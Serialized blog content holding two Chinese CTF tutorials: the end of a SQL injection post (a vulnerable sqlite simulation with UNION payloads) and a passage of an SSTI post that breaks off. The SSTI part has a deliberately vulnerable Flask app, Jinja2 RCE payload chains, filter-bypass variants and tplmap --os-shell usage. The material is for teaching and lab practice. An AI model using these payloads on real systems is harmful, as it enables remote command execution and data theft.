sqlite3\n",[106,6077,6078],{"class":108,"line":115},[106,6079,6080],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[106,6082,6083],{"class":108,"line":121},[106,6084,125],{"emptyLinePlaceholder":124},[106,6086,6087],{"class":108,"line":128},[106,6088,6089],{},"conn = sqlite3.connect(':memory:')\n",[106,6091,6092],{"class":108,"line":134},[106,6093,6094],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[106,6096,6097],{"class":108,"line":140},[106,6098,6099],{},"conn.executescript('''\n",[106,6101,6102],{"class":108,"line":146},[106,6103,6104],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[106,6106,6107],{"class":108,"line":151},[106,6108,5148],{},[106,6110,6111],{"class":108,"line":157},[106,6112,6113],{},"CREATE TABLE flag (flag TEXT);\n",[106,6115,6116],{"class":108,"line":163},[106,6117,5158],{},[106,6119,6120],{"class":108,"line":169},[106,6121,6122],{},"''')\n",[106,6124,6125],{"class":108,"line":174},[106,6126,6127],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[106,6129,6130],{"class":108,"line":180},[106,6131,125],{"emptyLinePlaceholder":124},[106,6133,6134],{"class":108,"line":186},[106,6135,6136],{},"def query(id_):\n",[106,6138,6139],{"class":108,"line":192},[106,6140,6141],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[106,6143,6144],{"class":108,"line":197},[106,6145,6146],{},"    cur = conn.cursor()\n",[106,6148,6149],{"class":108,"line":203},[106,6150,6151],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[106,6153,6154],{"class":108,"line":770},[106,6155,6156],{},"    try:\n",[106,6158,6159],{"class":108,"line":775},[106,6160,6161],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[106,6163,6164],{"class":108,"line":781},[106,6165,6166],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[106,6168,6169],{"class":108,"line":787},[106,6170,6171],{},"        return str(cur.fetchall())\n",[106,6173,6174],{"class":108,"line":793},[106,6175,6176],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[106,6178,6179],{"class":108,"line":799},[106,6180,6181],{},"    except Exception as e:\n",[106,6183,6184],{"class":108,"line":805},[106,6185,6186],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[106,6188,6189],{"class":108,"line":4548},[106,6190,6191],{},"        return \"ERROR: \" + str(e)\n",[106,6193,6194],{"class":108,"line":4553},[106,6195,125],{"emptyLinePlaceholder":124},[106,6197,6198],{"class":108,"line":4559},[106,6199,6200],{},"print(query(\"1\"))\n",[106,6202,6203],{"class":108,"line":4565},[106,6204,6205],{},"print(query(\"1'\"))\n",[106,6207,6208],{"class":108,"line":4570},[106,6209,6210],{},"print(query(\"1 AND 1=1\"))\n",[106,6212,6213],{"class":108,"line":4576},[106,6214,6215],{},"print(query(\"1 AND 1=2\"))\n",[106,6217,6218],{"class":108,"line":4582},[106,6219,6220],{},"print(query(\"1 ORDER BY 3\"))\n",[106,6222,6223],{"class":108,"line":4588},[106,6224,6225],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[106,6227,6228],{"class":108,"line":4594},[106,6229,6230],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[106,6232,6233],{"class":108,"line":4599},[106,6234,6235],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,6237,6238],{},"运行：",[97,6240,6242],{"className":259,"code":6241,"language":261,"meta":102,"style":102},"python3 sim.py\n",[52,6243,6244],{"__ignoreMap":102},[106,6245,6246,6248],{"class":108,"line":109},[106,6247,3138],{"class":268},[106,6249,6250],{"class":272}," sim.py\n",[15,6252,209],{},[97,6254,6257],{"className":6255,"code":6256,"language":215,"meta":102},[213],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[52,6258,6256],{"__ignoreMap":102},[15,6260,6261],{},"逐行对应：",[19,6263,6264,6277],{},[22,6265,6266],{},[25,6267,6268,6271,6274],{},[28,6269,6270],{},"输入",[28,6272,6273],{},"输出",[28,6275,6276],{},"结论",[38,6278,6279,6292,6305,6317,6330,6343,6358,6371],{},[25,6280,6281,6286,6289],{},[43,6282,6283],{},[52,6284,6285],{},"1",[43,6287,6288],{},"正常记录",[43,6290,6291],{},"基线",[25,6293,6294,6299,6302],{},[43,6295,6296],{},[52,6297,6298],{},"1'",[43,6300,6301],{},"语法错误",[43,6303,6304],{},"注入点存在",[25,6306,6307,6312,6314],{},[43,6308,6309],{},[52,6310,6311],{},"1 AND 1=1",[43,6313,6288],{},[43,6315,6316],{},"条件真",[25,6318,6319,6324,6327],{},[43,6320,6321],{},[52,6322,6323],{},"1 AND 1=2",[43,6325,6326],{},"空",[43,6328,6329],{},"条件假",[25,6331,6332,6337,6340],{},[43,6333,6334],{},[52,6335,6336],{},"1 ORDER BY 3",[43,6338,6339],{},"正常",[43,6341,6342],{},"至少 3 列",[25,6344,6345,6350,6355],{},[43,6346,6347],{},[52,6348,6349],{},"-1 UNION SELECT 1,2,3",[43,6351,6352],{},[52,6353,6354],{},"(1, 2, 3)",[43,6356,6357],{},"3 列且回显",[25,6359,6360,6363,6368],{},[43,6361,6362],{},"查 sqlite_master",[43,6364,6365],{},[52,6366,6367],{},"articles,flag",[43,6369,6370],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[25,6372,6373,6376,6380],{},[43,6374,6375],{},"查 flag 表",[43,6377,6378],{},[52,6379,5613],{},[43,6381,6382],{},"拿到 flag",[10,6384,6386],{"id":6385},"九小结","九、小结",[15,6388,6389,6390,6393],{},"SQL 注入主线：",[316,6391,6392],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1050,6395,6396],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":102,"searchDepth":115,"depth":115,"links":6398},[6399,6400,6401,6402,6403,6404,6405,6406,6407],{"id":5020,"depth":121,"text":5021},{"id":5072,"depth":121,"text":5073},{"id":5226,"depth":121,"text":5227},{"id":5384,"depth":121,"text":5385},{"id":5622,"depth":121,"text":5623},{"id":5868,"depth":121,"text":5869},{"id":5989,"depth":121,"text":5990},{"id":6053,"depth":121,"text":6054},{"id":6385,"depth":121,"text":6386},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1066,"image":6410,"alt":6411,"tags":6412,"published":124},"/blogs-img/blog5.png","SQL 注入深入实战",[1070,6413,6414,1072],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":5015,"description":6408},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":6420,"title":6421,"body":6422,"description":7468,"extension":1064,"meta":7469,"navigation":124,"ogImage":7470,"path":7474,"seo":7475,"stem":7476,"__hash__":7477},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":6423,"toc":7458},[6424,6428,6431,6474,6485,6488,6497,6503,6507,6521,6526,6579,6581,6593,6597,6602,6615,6619,6635,6637,6659,6663,6679,6681,6699,6709,6713,6780,6784,6789,6822,6831,6835,6841,6845,6851,6854,6870,6872,6890,6893,6909,6911,6929,6942,6950,6961,6968,6974,6977,7055,7061,7064,7070,7074,7086,7095,7107,7111,7117,7121,7127,7136,7138,7142,7188,7192,7235,7241,7245,7248,7317,7321,7330,7334,7339,7354,7360,7364,7379,7408,7411,7417,7421,7429,7432,7438,7440,7455],[10,6425,6427],{"id":6426},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,6429,6430],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[97,6432,6434],{"className":99,"code":6433,"language":101,"meta":102,"style":102},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[52,6435,6436,6441,6445,6450,6454,6459,6464,6469],{"__ignoreMap":102},[106,6437,6438],{"class":108,"line":109},[106,6439,6440],{},"from flask import Flask, render_template\n",[106,6442,6443],{"class":108,"line":115},[106,6444,125],{"emptyLinePlaceholder":124},[106,6446,6447],{"class":108,"line":121},[106,6448,6449],{},"app = Flask(__name__)\n",[106,6451,6452],{"class":108,"line":128},[106,6453,125],{"emptyLinePlaceholder":124},[106,6455,6456],{"class":108,"line":134},[106,6457,6458],{},"@app.route(\"/\")\n",[106,6460,6461],{"class":108,"line":140},[106,6462,6463],{},"def index():\n",[106,6465,6466],{"class":108,"line":146},[106,6467,6468],{},"    name = request.args.get(\"name\", \"world\")\n",[106,6470,6471],{"class":108,"line":151},[106,6472,6473],{},"    return render_template(\"hello.html\", name=name)\n",[15,6475,6476,6477,6480,6481,6484],{},"模板文件 ",[52,6478,6479],{},"hello.html"," 内容是固定的 ",[52,6482,6483],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,6486,6487],{},"错误写法是把用户输入拼进模板字符串：",[97,6489,6491],{"className":99,"code":6490,"language":101,"meta":102,"style":102},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[52,6492,6493],{"__ignoreMap":102},[106,6494,6495],{"class":108,"line":109},[106,6496,6490],{},[15,6498,6499,6502],{},[52,6500,6501],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,6504,6506],{"id":6505},"二环境搭建","二、环境搭建",[97,6508,6510],{"className":259,"code":6509,"language":261,"meta":102,"style":102},"pip install flask\n",[52,6511,6512],{"__ignoreMap":102},[106,6513,6514,6516,6518],{"class":108,"line":109},[106,6515,503],{"class":268},[106,6517,273],{"class":272},[106,6519,6520],{"class":272}," flask\n",[15,6522,2452,6523,493],{},[52,6524,6525],{},"app.py",[97,6527,6529],{"className":99,"code":6528,"language":101,"meta":102,"style":102},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[52,6530,6531,6536,6540,6544,6548,6552,6556,6560,6565,6570,6574],{"__ignoreMap":102},[106,6532,6533],{"class":108,"line":109},[106,6534,6535],{},"from flask import Flask, request, render_template_string\n",[106,6537,6538],{"class":108,"line":115},[106,6539,125],{"emptyLinePlaceholder":124},[106,6541,6542],{"class":108,"line":121},[106,6543,6449],{},[106,6545,6546],{"class":108,"line":128},[106,6547,125],{"emptyLinePlaceholder":124},[106,6549,6550],{"class":108,"line":134},[106,6551,6458],{},[106,6553,6554],{"class":108,"line":140},[106,6555,6463],{},[106,6557,6558],{"class":108,"line":146},[106,6559,6468],{},[106,6561,6562],{"class":108,"line":151},[106,6563,6564],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[106,6566,6567],{"class":108,"line":157},[106,6568,6569],{},"    return render_template_string(html, name=name)\n",[106,6571,6572],{"class":108,"line":163},[106,6573,125],{"emptyLinePlaceholder":124},[106,6575,6576],{"class":108,"line":169},[106,6577,6578],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,6580,6238],{},[97,6582,6584],{"className":259,"code":6583,"language":261,"meta":102,"style":102},"python app.py\n",[52,6585,6586],{"__ignoreMap":102},[106,6587,6588,6590],{"class":108,"line":109},[106,6589,101],{"class":268},[106,6591,6592],{"class":272}," app.py\n",[10,6594,6596],{"id":6595},"三核心步骤-1探测","三、核心步骤 1：探测",[15,6598,6599,6601],{},[316,6600,318],{},"：确认\"用户输入被当作模板代码求值\"。",[15,6603,6604,6606,6607,6610,6611,6614],{},[316,6605,385],{},"：模板引擎会执行 ",[52,6608,6609],{},"{{ 表达式 }}","。传 ",[52,6612,6613],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[309,6616,6618],{"id":6617},"_31-正常请求","3.1 正常请求",[97,6620,6622],{"className":259,"code":6621,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[52,6623,6624],{"__ignoreMap":102},[106,6625,6626,6628,6630,6633],{"class":108,"line":109},[106,6627,5260],{"class":268},[106,6629,5263],{"class":1458},[106,6631,6632],{"class":272},"http://127.0.0.1:5000/?name=alice",[106,6634,5269],{"class":1458},[15,6636,1219],{},[97,6638,6642],{"className":6639,"code":6640,"language":6641,"meta":102,"style":102},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[52,6643,6644],{"__ignoreMap":102},[106,6645,6646,6649,6652,6655,6657],{"class":108,"line":109},[106,6647,6648],{"class":1123},"\u003C",[106,6650,6651],{"class":1116},"h1",[106,6653,6654],{"class":1123},">Hello, alice!\u003C/",[106,6656,6651],{"class":1116},[106,6658,1126],{"class":1123},[309,6660,6662],{"id":6661},"_32-表达式求值","3.2 表达式求值",[97,6664,6666],{"className":259,"code":6665,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[52,6667,6668],{"__ignoreMap":102},[106,6669,6670,6672,6674,6677],{"class":108,"line":109},[106,6671,5260],{"class":268},[106,6673,5263],{"class":1458},[106,6675,6676],{"class":272},"http://127.0.0.1:5000/?name={{7*7}}",[106,6678,5269],{"class":1458},[15,6680,1219],{},[97,6682,6684],{"className":6639,"code":6683,"language":6641,"meta":102,"style":102},"\u003Ch1>Hello, 49!\u003C/h1>\n",[52,6685,6686],{"__ignoreMap":102},[106,6687,6688,6690,6692,6695,6697],{"class":108,"line":109},[106,6689,6648],{"class":1123},[106,6691,6651],{"class":1116},[106,6693,6694],{"class":1123},">Hello, 49!\u003C/",[106,6696,6651],{"class":1116},[106,6698,1126],{"class":1123},[15,6700,6701,6704,6705,6708],{},[52,6702,6703],{},"7*7"," 被求值成 ",[52,6706,6707],{},"49","，说明模板表达式生效，SSTI 成立。",[309,6710,6712],{"id":6711},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[19,6714,6715,6728],{},[22,6716,6717],{},[25,6718,6719,6722,6725],{},[28,6720,6721],{},"引擎",[28,6723,6724],{},"语言",[28,6726,6727],{},"探测 payload",[38,6729,6730,6742,6755,6767],{},[25,6731,6732,6735,6738],{},[43,6733,6734],{},"Jinja2 / Twig",[43,6736,6737],{},"Python / PHP",[43,6739,6740],{},[52,6741,6613],{},[25,6743,6744,6747,6750],{},[43,6745,6746],{},"Freemarker",[43,6748,6749],{},"Java",[43,6751,6752],{},[52,6753,6754],{},"${7*7}",[25,6756,6757,6760,6762],{},[43,6758,6759],{},"Velocity",[43,6761,6749],{},[43,6763,6764],{},[52,6765,6766],{},"#set($x=7*7)$x",[25,6768,6769,6772,6775],{},[43,6770,6771],{},"Smarty",[43,6773,6774],{},"PHP",[43,6776,6777],{},[52,6778,6779],{},"{$smarty.version}",[10,6781,6783],{"id":6782},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,6785,6786,6788],{},[316,6787,318],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,6790,6791,6793,6794,6797,6798,1311,6801,1311,6804,6807,6808,6811,6812,6814,6815,6818,6819,643],{},[316,6792,385],{},"：模板只能访问少量对象（如 ",[52,6795,6796],{},"config","）。Python 对象有 ",[52,6799,6800],{},"__class__",[52,6802,6803],{},"__init__",[52,6805,6806],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[52,6809,6810],{},"os"," 模块。验证方式：先执行 ",[52,6813,5235],{},"，输出 ",[52,6816,6817],{},"uid=..."," 即成功，再换 ",[52,6820,6821],{},"cat /flag",[15,6823,6824,6825,6827,6828,6830],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[52,6826,6796],{}," 对象，沿 Python 内部属性找到 ",[52,6829,6810],{}," 模块。",[309,6832,6834],{"id":6833},"_41-分步理解","4.1 分步理解",[97,6836,6839],{"className":6837,"code":6838,"language":215,"meta":102},[213],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[52,6840,6838],{"__ignoreMap":102},[309,6842,6844],{"id":6843},"_42-完整-payload","4.2 完整 payload",[97,6846,6849],{"className":6847,"code":6848,"language":215,"meta":102},[213],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[52,6850,6848],{"__ignoreMap":102},[15,6852,6853],{},"用 curl 发送：",[97,6855,6857],{"className":259,"code":6856,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[52,6858,6859],{"__ignoreMap":102},[106,6860,6861,6863,6865,6868],{"class":108,"line":109},[106,6862,5260],{"class":268},[106,6864,5263],{"class":1458},[106,6866,6867],{"class":272},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[106,6869,5269],{"class":1458},[15,6871,1219],{},[97,6873,6875],{"className":6639,"code":6874,"language":6641,"meta":102,"style":102},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[52,6876,6877],{"__ignoreMap":102},[106,6878,6879,6881,6883,6886,6888],{"class":108,"line":109},[106,6880,6648],{"class":1123},[106,6882,6651],{"class":1116},[106,6884,6885],{"class":1123},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[106,6887,6651],{"class":1116},[106,6889,1126],{"class":1123},[15,6891,6892],{},"命令执行成功。读 flag：",[97,6894,6896],{"className":259,"code":6895,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[52,6897,6898],{"__ignoreMap":102},[106,6899,6900,6902,6904,6907],{"class":108,"line":109},[106,6901,5260],{"class":268},[106,6903,5263],{"class":1458},[106,6905,6906],{"class":272},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[106,6908,5269],{"class":1458},[15,6910,1219],{},[97,6912,6914],{"className":6639,"code":6913,"language":6641,"meta":102,"style":102},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[52,6915,6916],{"__ignoreMap":102},[106,6917,6918,6920,6922,6925,6927],{"class":108,"line":109},[106,6919,6648],{"class":1123},[106,6921,6651],{"class":1116},[106,6923,6924],{"class":1123},">Hello, flag{ssti_rce}!\u003C/",[106,6926,6651],{"class":1116},[106,6928,1126],{"class":1123},[15,6930,6931,493,6939,6941],{},[316,6932,6933,6934,6936,6937],{},"为什么先试 ",[52,6935,5235],{}," 再试 ",[52,6938,6821],{},[52,6940,5235],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[309,6943,6945,6946,6949],{"id":6944},"_43-备选链subclasses-扫描","4.3 备选链：",[316,6947,6948],{},"subclasses"," 扫描",[15,6951,6952,6954,6955,6957,6958,643],{},[316,6953,318],{},"：当 ",[52,6956,6796],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[52,6959,6960],{},"subprocess.Popen",[15,6962,6963,6965,6966,493],{},[52,6964,6796],{}," 链不可用时，从字符串对象出发找 ",[52,6967,6960],{},[97,6969,6972],{"className":6970,"code":6971,"language":215,"meta":102},[213],"''.__class__.__mro__[1].__subclasses__()\n",[52,6973,6971],{"__ignoreMap":102},[15,6975,6976],{},"先用 Python 脚本找下标：",[97,6978,6980],{"className":99,"code":6979,"language":101,"meta":102,"style":102},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[52,6981,6982,6987,6991,6996,7001,7006,7011,7016,7021,7026,7031,7036,7041,7046,7051],{"__ignoreMap":102},[106,6983,6984],{"class":108,"line":109},[106,6985,6986],{},"import requests\n",[106,6988,6989],{"class":108,"line":115},[106,6990,125],{"emptyLinePlaceholder":124},[106,6992,6993],{"class":108,"line":121},[106,6994,6995],{},"url = \"http://127.0.0.1:5000/\"\n",[106,6997,6998],{"class":108,"line":128},[106,6999,7000],{},"for i in range(500):\n",[106,7002,7003],{"class":108,"line":134},[106,7004,7005],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[106,7007,7008],{"class":108,"line":140},[106,7009,7010],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[106,7012,7013],{"class":108,"line":146},[106,7014,7015],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[106,7017,7018],{"class":108,"line":151},[106,7019,7020],{},"    # .__mro__[1]：继承链上的 object 类；\n",[106,7022,7023],{"class":108,"line":157},[106,7024,7025],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[106,7027,7028],{"class":108,"line":163},[106,7029,7030],{},"    # .__name__：该类的名字，会渲染到页面。\n",[106,7032,7033],{"class":108,"line":169},[106,7034,7035],{},"    r = requests.get(url, params={\"name\": payload})\n",[106,7037,7038],{"class":108,"line":174},[106,7039,7040],{},"    if \"Popen\" in r.text:\n",[106,7042,7043],{"class":108,"line":180},[106,7044,7045],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[106,7047,7048],{"class":108,"line":186},[106,7049,7050],{},"        print(\"Popen index:\", i)\n",[106,7052,7053],{"class":108,"line":192},[106,7054,463],{},[15,7056,1219,7057,7060],{},[52,7058,7059],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,7062,7063],{},"然后利用：",[97,7065,7068],{"className":7066,"code":7067,"language":215,"meta":102},[213],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[52,7069,7067],{"__ignoreMap":102},[10,7071,7073],{"id":7072},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,7075,7076,7078,7079,1311,7082,7085],{},[316,7077,318],{},"：题目过滤 ",[52,7080,7081],{},".",[52,7083,7084],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,7087,7088,7090,7091,7094],{},[316,7089,385],{},"：点号访问可以用 Jinja2 的 ",[52,7092,7093],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,7096,7097,7098,1311,7100,1311,7103,7106],{},"题目常过滤 ",[52,7099,7081],{},[52,7101,7102],{},"[",[52,7104,7105],{},"]"," 或关键词。",[309,7108,7110],{"id":7109},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[97,7112,7115],{"className":7113,"code":7114,"language":215,"meta":102},[213],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[52,7116,7114],{"__ignoreMap":102},[309,7118,7120],{"id":7119},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[97,7122,7125],{"className":7123,"code":7124,"language":215,"meta":102},[213],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[52,7126,7124],{"__ignoreMap":102},[15,7128,7129,7130,1311,7132,7135],{},"模板里不再出现 ",[52,7131,6810],{},[52,7133,7134],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,7137,830],{"id":829},[309,7139,7141],{"id":7140},"工具-1curl","工具 1：curl",[97,7143,7145],{"className":259,"code":7144,"language":261,"meta":102,"style":102},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[52,7146,7147,7161],{"__ignoreMap":102},[106,7148,7149,7151,7153,7156,7158],{"class":108,"line":109},[106,7150,5260],{"class":268},[106,7152,5263],{"class":1458},[106,7154,7155],{"class":272},"http://target/?name={{7*7}}",[106,7157,5903],{"class":1458},[106,7159,7160],{"class":2583},"          # 探测\n",[106,7162,7163,7165,7168,7170,7173,7175,7178,7180,7183,7185],{"class":108,"line":115},[106,7164,5260],{"class":268},[106,7166,7167],{"class":515}," -G",[106,7169,5263],{"class":1458},[106,7171,7172],{"class":272},"http://target/",[106,7174,5903],{"class":1458},[106,7176,7177],{"class":515}," --data-urlencode",[106,7179,5263],{"class":1458},[106,7181,7182],{"class":272},"name={{...}}",[106,7184,5903],{"class":1458},[106,7186,7187],{"class":2583},"   # 自动 URL 编码\n",[309,7189,7191],{"id":7190},"工具-2requests","工具 2：requests",[97,7193,7195],{"className":99,"code":7194,"language":101,"meta":102,"style":102},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[52,7196,7197,7201,7205,7210,7215,7220,7225,7230],{"__ignoreMap":102},[106,7198,7199],{"class":108,"line":109},[106,7200,6986],{},[106,7202,7203],{"class":108,"line":115},[106,7204,125],{"emptyLinePlaceholder":124},[106,7206,7207],{"class":108,"line":121},[106,7208,7209],{},"url = \"http://target/\"\n",[106,7211,7212],{"class":108,"line":128},[106,7213,7214],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[106,7216,7217],{"class":108,"line":134},[106,7218,7219],{},"r = requests.get(url, params={\"name\": payload})\n",[106,7221,7222],{"class":108,"line":140},[106,7223,7224],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[106,7226,7227],{"class":108,"line":146},[106,7228,7229],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[106,7231,7232],{"class":108,"line":151},[106,7233,7234],{},"print(r.text)\n",[15,7236,7237,7240],{},[52,7238,7239],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[309,7242,7244],{"id":7243},"工具-3tplmap","工具 3：tplmap",[15,7246,7247],{},"模板注入自动化工具：",[97,7249,7251],{"className":259,"code":7250,"language":261,"meta":102,"style":102},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[52,7252,7253,7262,7281,7300],{"__ignoreMap":102},[106,7254,7255,7257,7259],{"class":108,"line":109},[106,7256,5087],{"class":268},[106,7258,5090],{"class":272},[106,7260,7261],{"class":272}," https://github.com/epinna/tplmap\n",[106,7263,7264,7266,7269,7271,7273,7275,7278],{"class":108,"line":115},[106,7265,1804],{"class":1803},[106,7267,7268],{"class":272}," tplmap",[106,7270,1814],{"class":1123},[106,7272,503],{"class":268},[106,7274,273],{"class":272},[106,7276,7277],{"class":515}," -r",[106,7279,7280],{"class":272}," requirements.txt\n",[106,7282,7283,7285,7288,7290,7292,7295,7297],{"class":108,"line":121},[106,7284,101],{"class":268},[106,7286,7287],{"class":272}," tplmap.py",[106,7289,5896],{"class":515},[106,7291,5263],{"class":1458},[106,7293,7294],{"class":272},"http://target/?name=*",[106,7296,5903],{"class":1458},[106,7298,7299],{"class":2583},"          # * 是注入点标记\n",[106,7301,7302,7304,7306,7308,7310,7312,7314],{"class":108,"line":128},[106,7303,101],{"class":268},[106,7305,7287],{"class":272},[106,7307,5896],{"class":515},[106,7309,5263],{"class":1458},[106,7311,7294],{"class":272},[106,7313,5903],{"class":1458},[106,7315,7316],{"class":515}," --os-shell\n",[10,7318,7320],{"id":7319},"七小-ctf-实战flask-模板题","七、小 